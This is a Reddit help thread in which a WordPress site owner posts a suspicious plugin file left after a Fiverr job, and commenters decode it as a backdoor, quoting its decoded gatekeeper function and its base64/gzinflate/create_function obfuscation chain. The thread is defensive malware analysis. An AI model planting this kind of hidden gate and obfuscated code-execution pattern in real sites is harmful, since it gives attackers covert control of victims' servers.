r/PHPhelp • • May 16 '21

Solved Help with Possible Malicious Code Injected to My Site After Fiverr Job.

Hi, I had someone from Fiverr work on my website, and after he was "done" (Big dispute in quality thus the "") Wordfence threw a high threat error to file in a plugin. It was titled js.php.

I downloaded the updated version of the plugin to view whether it comes with that plugin naturally and could be false positive. It was not in it...now, I have some customizations configured with the plugin so I am trying to not delete and reinstall the plugin.

Also if it is indeed malicious I would want to report it to Fiverr.

Here is the code, can someone please tell me what function it is trying to perform?

Thank you!

Code: https://pastebin.com/jscarvU7

Edit: Solved by /u/jules190 he went above and beyond decoded. Thank you /u/primeviltom too for the input.

I have reported him to Fiverr with all the logs that show the activity. For fun, I will post an update edit to how they handle it in case anyone cares. I am hoping they reach out to anyone he previously worked with as some might be running entire eCommerce stores with that code injected :(

33 Upvotes

15 comments sorted by

16

u/jules190 May 16 '21 edited May 16 '21

Definitely malicious. Appears to be very similar to the code referenced here:

https://wordpress.org/support/topic/unknown-php-file-in-wp-include/

Will post an update once I have decoded it.

Edit:

I'll break down the code from the construction of the class.

$_code = $this->_ls($this->mv);
$_code = $this->check($this->stable($_code));
$_code = $this->tx($_code);

_ls() takes the variable $mv and removes newlines via str_replace.

stable() is base64_decode and check() is gzinflate

tx() uses create_function to create a function from the string and then executes the function.

This is the resulting function that is executed:

function anonymous() {
    $mu = ''; 
    $fie = false; 
    $hvk = "_" . substr(sha1($_SERVER['HTTP_HOST']), 0, 3);

    if(isset($_REQUEST['_wi'])) { 
        $mu = substr(sha1($_REQUEST['_wi']), 0, 16); 
    } elseif(isset($_COOKIE[$hvk])) { 
        $mu = $_COOKIE[$hvk]; 
        $fie = true; 
    }

    if(!empty($mu)) 
        return array($mu, 'fe5dbb', $hvk, $fie);

    echo '<body oncontextmenu="return false"><script>document.writeln("404 Not Found");document.onkeydown = function(e) {if (e.ctrlKey && (e.keyCode === 67 || e.keyCode === 86 || e.keyCode === 85 || e.keyCode === 117)) return false;};window.onclick = function(e) {if (!e.ctrlKey) return; document.writeln(\'<form action="" method="post"><input type="text" name="_wi"><input type="submit" value=">>"></form>\');}</script></body>';
}

This function allows for data to be passed into your system via $_REQUEST['_wi'], $_SERVER['HTTP_HOST'] and $_COOKIE[$hvk].

The execution then continues with the _process($_build, $_conf) function.

Without going further, it is clear the code is malicious. I would imagine that it gives a hacker control of your system, or at least allows them to execute code on your system. It does appear to be self contained, so you could just delete the file, though personally I would be questioning what else they have created.

5

u/highboarderlv May 16 '21

I had an inkling, luckily I have evidence of when the file was uploaded, modified and now scanned so this should be easy for Fiverr. Thank you for your help

3

u/jules190 May 16 '21

You're welcome. See my edit for a more detailed explanation of the code.

4

u/highboarderlv May 16 '21

That is an incredibly thorough explanation, thank you for taking the time to write that out. I will post an edit on the main post just for fun on how Fiverr handles this when they get back to me.

4

u/evohans May 16 '21

RIP beat me to it, I literally just got the echo as you edited LOL

1

u/dikshamane Feb 01 '22

["CollectionCommentsPage~CommentsPage~ModerationPages~PostCreation~ProfileComments~ProfileOverview~Pro~d39c0d57","CollectionCommentsPage~CommentsPage~ModerationPages~ProfileComments~ProfileOverview~ProfilePrivate~R~969c2956","CollectionCommentsPage~CommentsPage~ModProgressModule~NewCommunityProgress","CollectionCommentsPage~CommentsPage~Subreddit~SubredditWiki","CollectionCommentsPage~Comment~CommentsPage","CollectionCommentsPage~CommentsPage~StandalonePostPage","CommentsPage","NewCommentPill","ReadingIndicator","UserAchievementFlair","IdCard","ReredditLink"]

Hats off to you .... I had been bugged with this same issue since 2 day. Just unable to find who the hell is writing that "404 not found" error on my website. With ur analysis I could find out the culprit dummy plugin !

0

u/arm1997 May 16 '21

Thank you for detailed explaination sir, is this a CSRF attack or a XSS attack?

4

u/AcousticDan May 17 '21

Neither. It's just a backdoor

7

u/ramgall May 16 '21

Hi, I'm a threat analyst at Wordfence and we do see this kind of thing happen a lot. Chances are it wasn't intentional on the part of your Fiverr "developer" and they just cut some corners by using a nulled (pirated) version of a paid plugin to save time and money. Nulled plugins and themes often include backdoors like this. It's also possible they knew the risks and just didn't care. Either way it's very important to remove the infected plugin from your site and make sure it didn't add any extra malware.

4

u/highboarderlv May 16 '21

Yes thank you for that, I tried to leave it pretty open with Fiverr to allow them to run their investigations. Like I said in the previous comment is that any premium plug-in used on the site, I purchased, he even requested one to use and I went ahead and purchased the license. So unfortunately I don’t think he was using pirated plug ins.

6

u/gdj11 May 16 '21

I’ve had a similar thing get installed on a WordPress site, but there were no other devs working on it. I’m almost positive it got there through an exploited plugin. Just be sure you are completely sure this was something he did before accusing him of if, because these malware scripts can install themselves on sites through exploits.

2

u/highboarderlv May 16 '21

I appreciate the input, in support I was pretty flat out as far this happened at this point etc with Fiverr. I understand the possibility of it being unintentional, but the only thing that makes me think otherwise is that any premium, or non free plugin associated with the site, I purchased and installed on the site. So if he did in fact have it happen accidentally I don’t see where it could have happened as the only extra plug-in he used was a free plug-in from Wordpress marketplace.

5

u/gdj11 May 17 '21

I'm not saying it might've been unintentional, I'm saying there's a chance this script and the developer have nothing to do with each other. These malicious scripts get installed on sites constantly. Do you know the exact point and method at which this script was installed? Was it uploaded by an FTP user, or was it created by a script? In my case it was either due to WordPress core not being updated for a while, or one of the plugins (all from the WordPress marketplace) having a vulnerability. To find these vulnerabilities, attackers constantly scan thousands and thousands of websites first to see if it's WordPress and then to see if the exploit is available. I'm not saying any of this is the case, and I'm not saying he had nothing to do with it, I'm just saying that unless your technical knowledge is advanced enough to know exactly how this happened, it's not fair to go into full attack mode on this developer.

2

u/primeviltom May 16 '21

Looks very shady.

Just a glance at these variables you can see some base64 decoding obfuscation going on, most likely that $library and $mv variables, which appear to base64 encoded *something*. The code is purposefully hiding something, so not a good sign.

var $check = array('e', 't', 'nf', 'gz', 'i', 'la');
var $x64 = array('unct', 'crea', 'te_f', 'ion');
var $stable = array('ode', 'base6', '4_dec');
var $seek = array('e', 'se', 'tc', 'oo', 'ki');
var $_debug = array('str', 'e', '_re', 'plac');

Just a brief look you can see that these will turn out to be typical PHP functions:

var $x64 -> create function

var $stable -> base64_decode

var $_debug -> str_replace

Definitely some function creation and base64 decoding going on. I'm not going to investigate fully, but you should definitely clean your project of this file, and I would also advise changing all the credentials that your fivver person had access to, and possibly report them too - you don't want others being sabotaged/hacked either.

Ideally, you should do a full audit (see if its possible to just check the files modified since the fivver work) in case there's more fuckery afoot.

Good luck mate!

3

u/highboarderlv May 16 '21

Yeah, I am restoring it back to before he ever got credentials after Fiverr investigates...it is a dev site, who knows what else he tried to hide. And he is for sure getting reported to Fiverr with all my logs, I just hope they reach out to the rest of the projects he worked on because I used him to save time, others may have trusted him to build them an eCommerce store which would suck. Thank you!